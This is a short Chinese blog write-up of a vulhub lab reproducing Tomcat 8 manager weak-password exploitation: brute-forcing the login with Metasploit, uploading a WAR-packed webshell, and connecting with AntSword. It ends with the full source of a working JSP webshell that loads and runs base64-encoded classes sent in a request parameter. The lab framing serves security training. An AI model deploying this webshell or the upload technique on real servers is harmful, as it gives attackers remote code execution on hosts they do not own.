vulhub Tomcat8漏洞复现

vulhub Tomcat8漏洞复现

搭建一下Tomcat8这个漏洞的环境

vulhub Tomcat8漏洞复现_第1张图片

 

查看端口发现是8080端口开放

vulhub Tomcat8漏洞复现_第2张图片

 

可以看到环境已经搭建好了

vulhub Tomcat8漏洞复现_第3张图片

 

尝试登录问题页面,发现需要输入密码http://...:8080/manager/html

vulhub Tomcat8漏洞复现_第4张图片

 

用msf

vulhub Tomcat8漏洞复现_第5张图片

 vulhub Tomcat8漏洞复现_第6张图片

 

得到弱口令

vulhub Tomcat8漏洞复现_第7张图片

 

成功登入后台

vulhub Tomcat8漏洞复现_第8张图片

 

此处可上传文件,尝试上传webshell

vulhub Tomcat8漏洞复现_第9张图片

 

上传jsp一句话木马,打包为war格式

上传出现报错,403是无权访问不代表没有

vulhub Tomcat8漏洞复现_第10张图片

 

发现已经上传上去了

vulhub Tomcat8漏洞复现_第11张图片

 

访问该目录,未找到shell.jsp

vulhub Tomcat8漏洞复现_第12张图片

 

尝试用命令去打包war包,再次访问,成功

vulhub Tomcat8漏洞复现_第13张图片

 

利用蚁剑去连接

vulhub Tomcat8漏洞复现_第14张图片

vulhub Tomcat8漏洞复现_第15张图片

 

 

 <%!
     class U extends ClassLoader {
         U(ClassLoader c) {
             super(c);
         }
         public Class g(byte[] b) {
             return super.defineClass(b, 0, b.length);
         }
     }
  
     public byte[] base64Decode(String str) throws Exception {
         try {
             Class clazz = Class.forName("sun.misc.BASE64Decoder");
             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
         } catch (Exception e) {
             Class clazz = Class.forName("java.util.Base64");
             Object decoder = clazz.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
         }
     }
 %>
 <%
     String cls = request.getParameter("passwd");
     if (cls != null) {
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
     }
 %>
#一句话木马

你可能感兴趣的:(web安全)